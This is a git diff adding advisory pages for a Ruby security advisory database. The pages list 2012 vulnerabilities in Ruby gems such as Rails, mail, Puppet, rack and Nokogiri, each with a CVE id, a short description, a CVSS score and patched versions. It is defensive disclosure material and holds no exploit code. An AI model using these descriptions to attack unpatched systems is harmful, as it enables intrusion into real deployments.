b/advisories/_posts/2012-03-01-CVE-2012-1098.md new file mode 100644 index 00000000..414cfa95 --- /dev/null +++ b/advisories/_posts/2012-03-01-CVE-2012-1098.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2012-1098 (activesupport): CVE-2012-1098 rubygem-activesupport: XSS in + SafeBuffer#[] (unescaped safe buffers can be marked as safe)' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2012-1098 + osvdb: 79726 + ghsa: qv8p-v9qw-wc7g + url: https://nvd.nist.gov/vuln/detail/CVE-2012-1098 + title: 'CVE-2012-1098 rubygem-activesupport: XSS in SafeBuffer#[] (unescaped safe + buffers can be marked as safe)' + date: 2012-03-01 + description: |- + Cross-site scripting (XSS) vulnerability in Ruby on Rails 3.0.x before + 3.0.12, 3.1.x before 3.1.4, and 3.2.x before 3.2.2 allows remote attackers to inject + arbitrary web script or HTML via vectors involving a SafeBuffer object that is manipulated + through certain methods. + cvss_v2: 4.3 + unaffected_versions: + - "< 3.0.0" + patched_versions: + - "~> 3.0.12" + - "~> 3.1.4" + - ">= 3.2.2" +--- diff --git a/advisories/_posts/2012-03-01-CVE-2012-1099.md b/advisories/_posts/2012-03-01-CVE-2012-1099.md new file mode 100644 index 00000000..26a6f04b --- /dev/null +++ b/advisories/_posts/2012-03-01-CVE-2012-1099.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2012-1099 (actionpack): CVE-2012-1099 rubygem-actionpack: XSS in the "select" + helper' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2012-1099 + osvdb: 79727 + ghsa: 2xjj-5x6h-8vmf + url: https://nvd.nist.gov/vuln/detail/CVE-2012-1099 + title: 'CVE-2012-1099 rubygem-actionpack: XSS in the "select" helper' + date: 2012-03-01 + description: |- + Cross-site scripting (XSS) vulnerability in + actionpack/lib/action_view/helpers/form_options_helper.rb in the select + helper in Ruby on Rails 3.0.x before 3.0.12, 3.1.x before 3.1.4, and + 3.2.x before 3.2.2 allows remote attackers to inject arbitrary web + script or HTML via vectors involving certain generation of OPTION + elements within SELECT elements. + cvss_v2: 4.3 + patched_versions: + - "~> 3.0.12" + - "~> 3.1.4" + - ">= 3.2.2" +--- diff --git a/advisories/_posts/2012-03-14-CVE-2012-2139.md b/advisories/_posts/2012-03-14-CVE-2012-2139.md new file mode 100644 index 00000000..5b521f8d --- /dev/null +++ b/advisories/_posts/2012-03-14-CVE-2012-2139.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2012-2139 (mail): CVE-2012-2139 rubygem-mail: directory traversal' +comments: false +categories: +- mail +advisory: + gem: mail + cve: 2012-2139 + osvdb: 81631 + ghsa: cj92-c4fj-w9c5 + url: https://nvd.nist.gov/vuln/detail/CVE-2012-2139 + title: 'CVE-2012-2139 rubygem-mail: directory traversal' + date: 2012-03-14 + description: |- + Directory traversal vulnerability in lib/mail/network/delivery_methods/file_delivery.rb + in the Mail gem before 2.4.4 for Ruby allows remote attackers to read arbitrary + files via a .. (dot dot) in the to parameter. + cvss_v2: 5.0 + patched_versions: + - ">= 2.4.4" +--- diff --git a/advisories/_posts/2012-03-14-CVE-2012-2140.md b/advisories/_posts/2012-03-14-CVE-2012-2140.md new file mode 100644 index 00000000..be71ec81 --- /dev/null +++ b/advisories/_posts/2012-03-14-CVE-2012-2140.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2012-2140 (mail): CVE-2012-2140 rubygem-mail: arbitrary command execution + when using exim or sendmail from commandline' +comments: false +categories: +- mail +advisory: + gem: mail + cve: 2012-2140 + osvdb: 81632 + ghsa: rp63-jfmw-532w + url: https://nvd.nist.gov/vuln/detail/CVE-2012-2140 + title: 'CVE-2012-2140 rubygem-mail: arbitrary command execution when using exim + or sendmail from commandline' + date: 2012-03-14 + description: |- + The Mail gem before 2.4.3 for Ruby allows remote attackers to execute + arbitrary commands via shell metacharacters in a (1) sendmail or (2) exim delivery. + cvss_v2: 7.5 + patched_versions: + - ">= 2.4.4" +--- diff --git a/advisories/_posts/2012-04-20-CVE-2012-2126.md b/advisories/_posts/2012-04-20-CVE-2012-2126.md new file mode 100644 index 00000000..e5e716c7 --- /dev/null +++ b/advisories/_posts/2012-04-20-CVE-2012-2126.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2012-2126 (rubygems-update): CVE-2012-2125 CVE-2012-2126 rubygems: Two + security fixes in v1.8.23' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2012-2126 + osvdb: 81444 + ghsa: 5mgj-mvv8-46mw + url: https://nvd.nist.gov/vuln/detail/CVE-2012-2126 + title: 'CVE-2012-2125 CVE-2012-2126 rubygems: Two security fixes in v1.8.23' + date: 2012-04-20 + description: |- + RubyGems before 1.8.23 does not verify an SSL certificate, which allows + remote attackers to modify a gem during installation via a man-in-the-middle attack. + cvss_v2: 4.3 + patched_versions: + - ">= 1.8.23" +--- diff --git a/advisories/_posts/2012-05-04-CVE-2012-6109.md b/advisories/_posts/2012-05-04-CVE-2012-6109.md new file mode 100644 index 00000000..3184696a --- /dev/null +++ b/advisories/_posts/2012-05-04-CVE-2012-6109.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2012-6109 (rack): CVE-2012-6109 rubygem-rack: parsing Content-Disposition + header DoS' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2012-6109 + osvdb: 89317 + ghsa: h77x-m5q8-c29h + url: https://nvd.nist.gov/vuln/detail/CVE-2012-6109 + title: 'CVE-2012-6109 rubygem-rack: parsing Content-Disposition header DoS' + date: 2012-05-04 + description: |- + lib/rack/multipart.rb in Rack before 1.1.4, 1.2.x before 1.2.6, 1.3.x + before 1.3.7, and 1.4.x before 1.4.2 uses an incorrect regular expression, which + allows remote attackers to cause a denial of service (infinite loop) via a crafted + Content-Disposion header. + cvss_v2: 4.3 + patched_versions: + - "~> 1.1.4" + - "~> 1.2.6" + - "~> 1.3.7" + - ">= 1.4.2" +--- diff --git a/advisories/_posts/2012-05-11-OSVDB-96396.md b/advisories/_posts/2012-05-11-OSVDB-96396.md new file mode 100644 index 00000000..bcfbf51d --- /dev/null +++ b/advisories/_posts/2012-05-11-OSVDB-96396.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'OSVDB-96396 (activemodel): Don''t allow confirmation to pass if confirmation + value is nil and doesn''t match value.' +comments: false +categories: +- activemodel +- rails +advisory: + gem: activemodel + framework: rails + osvdb: 96396 + url: https://github.com/rails/rails/pull/8122 + title: Don't allow confirmation to pass if confirmation value is nil and doesn't + match value. + date: 2012-05-11 + description: | + Don't allow confirmation to pass if confirmation value is + nil and doesn't match value. + notes: Never patched; PR#8122 is closed but not merged + related: + url: + - https://github.com/rails/rails/pull/8122 + - https://github.com/rails/rails/pull/8122/commits/e8a50aa1c1f9d04c21b54e983f9a090d4b42c8eb + - https://github.com/rails/rails/commit/e8a50aa1c1f9d04c21b54e983f9a090d4b42c8eb + - https://github.com/rubysec/ruby-advisory-db/issues/178 +--- diff --git a/advisories/_posts/2012-05-29-CVE-2012-1053.md b/advisories/_posts/2012-05-29-CVE-2012-1053.md new file mode 100644 index 00000000..bd620c89 --- /dev/null +++ b/advisories/_posts/2012-05-29-CVE-2012-1053.md @@ -0,0 +1,44 @@ +--- +layout: advisory +title: 'CVE-2012-1053 (puppet): Puppet Privilege Escallation' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2012-1053 + ghsa: 77hg-g8cc-5r37 + url: https://web.archive.org/web/20120504011717/http://puppetlabs.com/security/cve/cve-2012-1053 + title: Puppet Privilege Escallation + date: 2012-05-29 + description: |- + The change_user method in the SUIDManager (lib/puppet/util/suidmanager.rb) + in Puppet 2.6.x before 2.6.14 and 2.7.x before 2.7.11, and Puppet Enterprise (PE) + Users 1.0, 1.1, 1.2.x, 2.0.x before 2.0.3 does not properly manage group privileges, + which allows local users to gain privileges via vectors related to (1) the change_user + not dropping supplementary groups in certain conditions, (2) changes to the eguid + without associated changes to the egid, or (3) the addition of the real gid to supplementary + groups. + cvss_v2: 6.5 + unaffected_versions: + - "< 2.6" + patched_versions: + - "~> 2.6.14" + - ">= 2.7.11" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-1053 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/73445 + - https://hermes.opensuse.org/messages/15087408 + - https://github.com/puppetlabs/puppet/commit/76d0749f0a9a496b70e7dc7e6d6d6ff692224e36 + - https://lists.opensuse.org/opensuse-security-announce/2012-03/msg00003.html + - https://ubuntu.com/usn/usn-1372-1 + - https://web.archive.org/web/20120504011717/http://puppetlabs.com/security/cve/cve-2012-1053 + - https://web.archive.org/web/20120513215447/http://projects.puppetlabs.com/issues/12458 + - https://web.archive.org/web/20120513215653/http://projects.puppetlabs.com/issues/12457 + - https://web.archive.org/web/20120513223437/http://projects.puppetlabs.com/issues/12459 + - https://web.archive.org/web/20120527071855/http://www.securityfocus.com/bid/52158 + - https://web.archive.org/web/20120816020421/http://projects.puppetlabs.com/projects/1/wiki/Release_Notes#2.6.14 + - https://www.debian.org/security/2012/dsa-2419 + - https://github.com/advisories/GHSA-77hg-g8cc-5r37 +--- diff --git a/advisories/_posts/2012-05-29-CVE-2012-1906.md b/advisories/_posts/2012-05-29-CVE-2012-1906.md new file mode 100644 index 00000000..7d077f45 --- /dev/null +++ b/advisories/_posts/2012-05-29-CVE-2012-1906.md @@ -0,0 +1,36 @@ +--- +layout: advisory +title: 'CVE-2012-1906 (puppet): Puppet uses predictable filenames, allowing arbitrary + file overwrite' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2012-1906 + ghsa: c4mc-49hq-q275 + url: https://exchange.xforce.ibmcloud.com/vulnerabilities/74793 + title: Puppet uses predictable filenames, allowing arbitrary file overwrite + date: 2012-05-29 + description: |- + Puppet 2.6.x before 2.6.15 and 2.7.x before 2.7.13, and Puppet Enterprise + (PE) Users 1.0, 1.1, 1.2.x, 2.0.x, and 2.5.x before 2.5.1 uses predictable file + names when installing Mac OS X packages from a remote source, which allows local + users to overwrite arbitrary files or install arbitrary packages via a symlink attack + on a temporary file in /tmp. + cvss_v2: 3.3 + unaffected_versions: + - "< 2.6" + patched_versions: + - "~> 2.6.15" + - ">= 2.7.13" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2012-1906 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/74793 + - https://github.com/puppetlabs/puppet/commit/f7829ec1f1b2c3def8e0eda09c22c3c1fed3a27f + - https://ubuntu.com/usn/usn-1419-1 + - https://web.archive.org/web/20120415105345/http://www.securityfocus.com/bid/52975 + - https://www.debian.org/security/2012/dsa-2451 + - https://github.com/advisories/GHSA-c4mc-49hq-q275 +--- diff --git a/advisories/_posts/2012-05-31-CVE-2012-2660.md b/advisories/_posts/2012-05-31-CVE-2012-2660.md new file mode 100644 index 00000000..1f7da17b --- /dev/null +++ b/advisories/_posts/2012-05-31-CVE-2012-2660.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2012-2660 (activerecord): CVE-2012-2660 rubygem-actionpack: Unsafe query + generation' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2012-2660 + osvdb: 82610 + url: https://nvd.nist.gov/vuln/detail/CVE-2012-2660 + title: 'CVE-2012-2660 rubygem-actionpack: Unsafe query generation' + date: 2012-05-31 + description: |- + actionpack/lib/action_dispatch/http/request.rb in Ruby on Rails before + 3.0.13, 3.1.x before 3.1.5, and 3.2.x before 3.2.4 does not properly consider differences + in parameter handling between the Active Record component and the Rack interface, + which allows remote attackers to bypass intended database-query restrictions and + perform NULL checks via a crafted request, as demonstrated by certain "[nil]" values, + a related issue to CVE-2012-2694. + cvss_v2: 7.5 + patched_versions: + - "~> 3.0.13" + - "~> 3.1.5" + - ">= 3.2.4" +--- diff --git a/advisories/_posts/2012-05-31-CVE-2012-2661.md b/advisories/_posts/2012-05-31-CVE-2012-2661.md new file mode 100644 index 00000000..d798c1c2 --- /dev/null +++ b/advisories/_posts/2012-05-31-CVE-2012-2661.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2012-2661 (activerecord): CVE-2012-2661 rubygem-activerecord: SQL injection + when processing nested query paramaters' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2012-2661 + osvdb: 82403 + ghsa: fh39-v733-mxfr + url: https://nvd.nist.gov/vuln/detail/CVE-2012-2661 + title: 'CVE-2012-2661 rubygem-activerecord: SQL injection when processing nested + query paramaters' + date: 2012-05-31 + description: |- + The Active Record component in Ruby on Rails 3.0.x before 3.0.13, 3.1.x + before 3.1.5, and 3.2.x before 3.2.4 does not properly implement the passing of + request data to a where method in an ActiveRecord class, which allows remote attackers + to conduct certain SQL injection attacks via nested query parameters that leverage + unintended recursion, a related issue to CVE-2012-2695. + cvss_v2: 5.0 + unaffected_versions: + - "~> 2.3.14" + patched_versions: + - "~> 3.0.13" + - "~> 3.1.5" + - ">= 3.2.4" +--- diff --git a/advisories/_posts/2012-06-06-CVE-2012-2671.md b/advisories/_posts/2012-06-06-CVE-2012-2671.md new file mode 100644 index 00000000..299bdf35 --- /dev/null +++ b/advisories/_posts/2012-06-06-CVE-2012-2671.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2012-2671 (rack-cache): rack-cache Rubygem Sensitive HTTP Header Caching + Weakness' +comments: false +categories: +- rack-cache +advisory: + gem: rack-cache + cve: 2012-2671 + osvdb: 83077 + ghsa: hrp6-w4v2-8737 + url: https://nvd.nist.gov/vuln/detail/CVE-2012-2671 + title: rack-cache Rubygem Sensitive HTTP Header Caching Weakness + date: 2012-06-06 + description: |- + Rack::Cache (rack-cache) contains a flaw related to the rubygem caching + sensitive HTTP headers. This will result in a weakness that may make it + easier for an attacker to gain access to a user's session via a specially + crafted header. + cvss_v2: 7.5 + patched_versions: + - ">= 1.2" +--- diff --git a/advisories/_posts/2012-06-08-CVE-2012-6685.md b/advisories/_posts/2012-06-08-CVE-2012-6685.md new file mode 100644 index 00000000..70d42bea --- /dev/null +++ b/advisories/_posts/2012-06-08-CVE-2012-6685.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2012-6685 (nokogiri): CVE-2012-6685 rubygem-nokogiri: XML eXternal Entity + (XXE) flaw' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2012-6685 + osvdb: 90946 + ghsa: 6wj9-77wq-jq7p + url: https://nvd.nist.gov/vuln/detail/CVE-2012-6685 + title: 'CVE-2012-6685 rubygem-nokogiri: XML eXternal Entity (XXE) flaw' + date: 2012-06-08 + description: Nokogiri before 1.5.4 is vulnerable to XXE attacks + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 1.5.4" +--- diff --git a/advisories/_posts/2012-07-02-OSVDB-125712.md b/advisories/_posts/2012-07-02-OSVDB-125712.md new file mode 100644 index 00000000..7817254d --- /dev/null +++ b/advisories/_posts/2012-07-02-OSVDB-125712.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'OSVDB-125712 (spree): Product Scopes could allow for unauthenticated remote + command execution' +comments: false +categories: +- spree +advisory: + gem: spree + osvdb: 125712 + url: https://web.archive.org/web/20121126005814/https://spreecommerce.com/blog/security-issue-all-versions + title: Product Scopes could allow for unauthenticated remote command execution + date: 2012-07-02 + description: |- + Product Scopes could allow for unauthenticated remote command execution. + This was corrected by removing conditions_any scope and use ARel query + building instead. + patched_versions: + - "~> 0.11.4" + - "~> 0.70.6" + - "~> 1.0.5" + - ">= 1.1.2" + related: + url: + - https://web.archive.org/web/20121126005814/https://spreecommerce.com/blog/security-issue-all-versions + - https://security.snyk.io/vuln/SNYK-RUBY-SPREE-20034 +--- diff --git a/advisories/_posts/2012-07-02-OSVDB-125713.md b/advisories/_posts/2012-07-02-OSVDB-125713.md new file mode 100644 index 00000000..f635c6f4 --- /dev/null +++ b/advisories/_posts/2012-07-02-OSVDB-125713.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'OSVDB-125713 (spree): Potential XSS vulnerability related to the analytics + dashboard' +comments: false +categories: +- spree +advisory: + gem: spree + osvdb: 125713 + url: https://web.archive.org/web/20121126005814/https://spreecommerce.com/blog/security-issue-all-versions + title: Potential XSS vulnerability related to the analytics dashboard + date: 2012-07-02 + description: |- + Spree has a flaw in its analytics dashboard where + keywords are not escaped, leading to potential XSS. + patched_versions: + - "~> 0.11.4" + - "~> 0.70.6" + - "~> 1.0.5" + - ">= 1.1.2" + related: + url: + - https://web.archive.org/web/20121126005814/https://spreecommerce.com/blog/security-issue-all-versions +--- diff --git a/advisories/_posts/2012-07-26-CVE-2012-3424.md b/advisories/_posts/2012-07-26-CVE-2012-3424.md new file mode 100644 index 00000000..c51e21bf --- /dev/null +++ b/advisories/_posts/2012-07-26-CVE-2012-3424.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2012-3424 (actionpack): CVE-2012-3424 rubygem-actionpack: DoS vulnerability + in authenticate_or_request_with_http_digest' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2012-3424 + osvdb: 84243 + ghsa: 92w9-2pqw-rhjj + url: https://nvd.nist.gov/vuln/detail/CVE-2012-3424 + title: 'CVE-2012-3424 rubygem-actionpack: DoS vulnerability in authenticate_or_request_with_http_digest' + date: 2012-07-26 + description: |- + The decode_credentials method in actionpack/lib/action_controller/metal/http_authentication.rb + in Ruby on Rails 3.x before 3.0.16, 3.1.x before 3.1.7, and 3.2.x before 3.2.7 converts + Digest Authentication strings to symbols, which allows remote attackers to cause + a denial of service by leveraging access to an application that uses a with_http_digest + helper method, as demonstrated by the authenticate_or_request_with_http_digest method. + cvss_v2: 5.0 + unaffected_versions: + - ">= 2.3.5, <= 2.3.14" + patched_versions: + - "~> 3.0.16" + - "~> 3.1.7" + - ">= 3.2.7" +--- diff --git a/advisories/_posts/2012-08-08-CVE-2010-5142.md b/advisories/_posts/2012-08-08-CVE-2010-5142.md new file mode 100644 index 00000000..6dfb015b --- /dev/null +++ b/advisories/_posts/2012-08-08-CVE-2010-5142.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2010-5142 (chef): Chef Improper Access Control Vulnerability' +comments: false +categories: +- chef +advisory: + gem: chef + cve: 2010-5142 + ghsa: f68m-q26r-64f6 + url: https://github.com/advisories/GHSA-f68m-q26r-64f6 + title: Chef Improper Access Control Vulnerability + date: 2012-08-08 + description: |- + `chef-server-api/app/controllers/users.rb` in the API in Chef before + 0.9.0 does not require administrative privileges for the create, + destroy, and update methods, which allows remote authenticated + users to manage user accounts via requests to the /users URI. + cvss_v2: 6.5 + patched_versions: + - ">= 0.9.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2010-5142 + - https://vuldb.com/?id.61514 + - http://tickets.opscode.com/browse/CHEF-1289 + - https://github.com/opscode/chef/commit/c3bb41f727fbe00e5de719d687757b24c8dcdfc8 + - https://github.com/advisories/GHSA-f68m-q26r-64f6 +--- diff --git a/advisories/_posts/2012-08-09-CVE-2012-3463.md b/advisories/_posts/2012-08-09-CVE-2012-3463.md new file mode 100644 index 00000000..9cac0809 --- /dev/null +++ b/advisories/_posts/2012-08-09-CVE-2012-3463.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2012-3463 (actionpack): CVE-2012-3463 rubygem-actionpack: potential XSS + vulnerability in select_tag prompt' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2012-3463 + osvdb: 84515 + ghsa: 98mf-8f57-64qf + url: https://nvd.nist.gov/vuln/detail/CVE-2012-3463 + title: 'CVE-2012-3463 rubygem-actionpack: potential XSS vulnerability in select_tag + prompt' + date: 2012-08-09 + description: |- + Cross-site scripting (XSS) vulnerability in actionpack/lib/action_view/helpers/form_tag_helper.rb + in Ruby on Rails 3.x before 3.0.17, 3.1.x before 3.1.8, and 3.2.x before 3.2.8 allows + remote attackers to inject arbitrary web script or HTML via the prompt field to + the select_tag helper. + cvss_v2: 4.3 + unaffected_versions: + - "~> 2.3.0" + patched_versions: + - "~> 3.0.17" + - "~> 3.1.8" + - ">= 3.2.8" +--- diff --git a/advisories/_posts/2012-08-09-CVE-2012-3464.md b/advisories/_posts/2012-08-09-CVE-2012-3464.md new file mode 100644 index 00000000..3a7431e3 --- /dev/null +++ b/advisories/_posts/2012-08-09-CVE-2012-3464.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2012-3464 (activesupport): CVE-2012-3464 rubygem-actionpack: potential + XSS vulnerability' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2012-3464 + osvdb: 84516 + ghsa: h835-75hw-pj89 + url: https://nvd.nist.gov/vuln/detail/CVE-2012-3464 + title: 'CVE-2012-3464 rubygem-actionpack: potential XSS vulnerability' + date: 2012-08-09 + description: |- + Cross-site scripting (XSS) vulnerability in activesupport/lib/active_support/core_ext/string/output_safety.rb + in Ruby on Rails before 3.0.17, 3.1.x before 3.1.8, and 3.2.x before 3.2.8 might + allow remote attackers to inject arbitrary web script or HTML via vectors involving + a ' (quote) character. + cvss_v2: 4.3 + patched_versions: + - "~> 3.0.17" + - "~> 3.1.8" + - ">= 3.2.8" +--- diff --git a/advisories/_posts/2012-08-09-CVE-2012-3465.md b/advisories/_posts/2012-08-09-CVE-2012-3465.md new file mode 100644 index 00000000..07fce977 --- /dev/null +++ b/advisories/_posts/2012-08-09-CVE-2012-3465.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2012-3465 (actionpack): CVE-2012-3465 rubygem-actionpack: XSS Vulnerability + in strip_tags' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2012-3465 + osvdb: 84513 + ghsa: 7g65-ghrg-hpf5 + url: https://nvd.nist.gov/vuln/detail/CVE-2012-3465 + title: 'CVE-2012-3465 rubygem-actionpack: XSS Vulnerability in strip_tags' + date: 2012-08-09 + description: |- + Cross-site scripting (XSS) vulnerability in actionpack/lib/action_view/helpers/sanitize_helper.rb + in the strip_tags helper in Ruby on Rails before 3.0.17, 3.1.x before 3.1.8, and + 3.2.x before 3.2.8 allows remote attackers to inject arbitrary web script or HTML + via malformed HTML markup. + cvss_v2: 4.3 + patched_versions: + - "~> 3.0.17" + - "~> 3.1.8" + - ">= 3.2.8" +--- diff --git a/advisories/_posts/2012-09-08-CVE-2012-6134.md b/advisories/_posts/2012-09-08-CVE-2012-6134.md new file mode 100644 index 00000000..c658d462 --- /dev/null +++ b/advisories/_posts/2012-09-08-CVE-2012-6134.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2012-6134 (omniauth-oauth2): Ruby on Rails omniauth-oauth2 Gem CSRF vulnerability' +comments: false +categories: +- omniauth-oauth2 +advisory: + gem: omniauth-oauth2 + cve: 2012-6134 + osvdb: 90264 + ghsa: fgmx-8h93-26fh + url: https://nvd.nist.gov/vuln/detail/CVE-2012-6134 + title: Ruby on Rails omniauth-oauth2 Gem CSRF vulnerability + date: 2012-09-08 + description: |- + The omniauth-oauth2 Ruby Gem contains a flaw that allows an attacker to + inject values into a user's session through a CSRF attack. + cvss_v2: 6.8 + patched_versions: + - ">= 1.1.1" +--- diff --git a/advisories/_posts/2012-09-08-OSVDB-90945.md b/advisories/_posts/2012-09-08-OSVDB-90945.md new file mode 100644 index 00000000..1fe0685e --- /dev/null +++ b/advisories/_posts/2012-09-08-OSVDB-90945.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'OSVDB-90945 (loofah): Loofah HTML and XSS injection vulnerability' +comments: false +categories: +- loofah +advisory: + gem: loofah + osvdb: 90945 + url: https://security.snyk.io/vuln/SNYK-RUBY-LOOFAH-20039 + title: Loofah HTML and XSS injection vulnerability + date: 2012-09-08 + description: |- + Loofah Gem for Ruby contains a flaw that allows a remote cross-site + scripting (XSS) attack. This flaw exists because the + Loofah::HTML::Document\#text function passes properly sanitized + user-supplied input to the Loofah::XssFoliate and + Loofah::Helpers\#strip_tags functions which convert input back to + text. This may allow an attacker to create a specially crafted + request that would execute arbitrary script code in a user's browser + within the trust relationship between their browser and the server. + cvss_v2: 5.0 + patched_versions: + - ">= 0.4.6" + related: + url: + - https://github.com/flavorjones/loofah/compare/v0.4.5...v0.4.6 + - https://security.snyk.io/vuln/SNYK-RUBY-LOOFAH-20039 + - https://www.versioneye.com/Ruby/loofah/0.4.2 + - https://www.mend.io/vulnerability-database/WS-2012-0023 + - http://www.osvdb.org/show/osvdb/90945 +--- diff --git a/advisories/_posts/2012-09-25-CVE-2012-2125.md b/advisories/_posts/2012-09-25-CVE-2012-2125.md new file mode 100644 index 00000000..887ca161 --- /dev/null +++ b/advisories/_posts/2012-09-25-CVE-2012-2125.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2012-2125 (rubygems-update): CVE-2012-2125 CVE-2012-2126 rubygems: Two + security fixes in v1.8.23' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2012-2125 + osvdb: 85809 + ghsa: 228f-g3h7-3fj3 + url: https://nvd.nist.gov/vuln/detail/CVE-2012-2125 + title: 'CVE-2012-2125 CVE-2012-2126 rubygems: Two security fixes in v1.8.23' + date: 2012-09-25 + description: |- + RubyGems before 1.8.23 can redirect HTTPS connections to HTTP, which + makes it easier for remote attackers to observe or modify a gem during + installation via a man-in-the-middle attack. + cvss_v2: 5.8 + patched_versions: + - ">= 1.8.23" +--- diff --git a/advisories/_posts/2012-12-04-CVE-2012-5604.md b/advisories/_posts/2012-12-04-CVE-2012-5604.md new file mode 100644 index 00000000..107fdd2c --- /dev/null +++ b/advisories/_posts/2012-12-04-CVE-2012-5604.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2012-5604 (ldap_fluff): CVE-2012-5604 rubygem-ldap_fluff: CloudForms authentication + bypass when handling anonymous LDAP bind' +comments: false +categories: +- ldap_fluff +advisory: + gem: ldap_fluff + cve: 2012-5604 + osvdb: 90579 + ghsa: 9whh-582r-589h + url: https://nvd.nist.gov/vuln/detail/CVE-2012-5604 + title: 'CVE-2012-5604 rubygem-ldap_fluff: CloudForms authentication bypass when + handling anonymous LDAP bind' + date: 2012-12-04 + description: |- + The ldap_fluff gem for Ruby, as used in Red Hat CloudForms 1.1, when + using Active Directory for authentication, allows remote attackers to bypass authentication + via unspecified vectors. + cvss_v2: 5.0 + patched_versions: + - ">= 0.1.3" +--- diff --git a/advisories/_posts/2012-12-06-CVE-2013-0284.md b/advisories/_posts/2012-12-06-CVE-2013-0284.md new file mode 100644 index 00000000..3f2ca7fc --- /dev/null +++ b/advisories/_posts/2012-12-06-CVE-2013-0284.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-0284 (newrelic_rpm): Ruby on Rails newrelic_rpm Gem Discloses Sensitive + Information' +comments: false +categories: +- newrelic_rpm +advisory: + gem: newrelic_rpm + cve: 2013-0284 + osvdb: 90189 + ghsa: q6cw-2553-7837 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0284 + title: Ruby on Rails newrelic_rpm Gem Discloses Sensitive Information + date: 2012-12-06 + description: |- + A bug in the Ruby agent causes database connection information and raw SQL + statements to be transmitted to New Relic servers. The database connection + information includes the database IP address, username, and password + cvss_v2: 5.0 + patched_versions: + - ">= 3.5.3.25" +--- diff --git a/advisories/_posts/2012-12-21-CVE-2012-6497.md b/advisories/_posts/2012-12-21-CVE-2012-6497.md new file mode 100644 index 00000000..d77b752e --- /dev/null +++ b/advisories/_posts/2012-12-21-CVE-2012-6497.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2012-6497 (authlogic): Ruby on Rails Authlogic Gem secret_token.rb Known + secret_token Value Weakness' +comments: false +categories: +- authlogic +advisory: + gem: authlogic + cve: 2012-6497 + osvdb: 89064 + ghsa: rx7j-mw4c-76g9 + url: https://nvd.nist.gov/vuln/detail/CVE-2012-6497 + title: Ruby on Rails Authlogic Gem secret_token.rb Known secret_token Value Weakness + date: 2012-12-21 + description: |- + Ruby on Rails contains a flaw in the Authlogic gem. The issue is triggered + when the program makes an unsafe method call for find_by_id. With a specially + crafted parameter in an environment that knows the secret_token value in + secret_token.rb, a remote attacker to more easily conduct SQL injection + attacks. + patched_versions: + - ">= 3.3.0" +--- diff --git a/advisories/_posts/2012-12-22-CVE-2012-6496.md b/advisories/_posts/2012-12-22-CVE-2012-6496.md new file mode 100644 index 00000000..3348ef37 --- /dev/null +++ b/advisories/_posts/2012-12-22-CVE-2012-6496.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2012-6496 (activerecord): Ruby on Rails find_by_* Methods Authlogic SQL + Injection Bypass' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2012-6496 + osvdb: 88661 + ghsa: gh2w-j7cx-2664 + url: https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/DCNTNp_qjFM + title: Ruby on Rails find_by_* Methods Authlogic SQL Injection Bypass + date: 2012-12-22 + description: |- + Due to the way dynamic finders in Active Record extract options from method + parameters, a method parameter can mistakenly be used as a scope. Carefully + crafted requests can use the scope to inject arbitrary SQL. + cvss_v2: 6.4 + patched_versions: + - "~> 3.0.18" + - "~> 3.1.9" + - ">= 3.2.10" +--- diff --git a/advisories/_posts/2013-01-07-CVE-2013-0183.md b/advisories/_posts/2013-01-07-CVE-2013-0183.md new file mode 100644 index 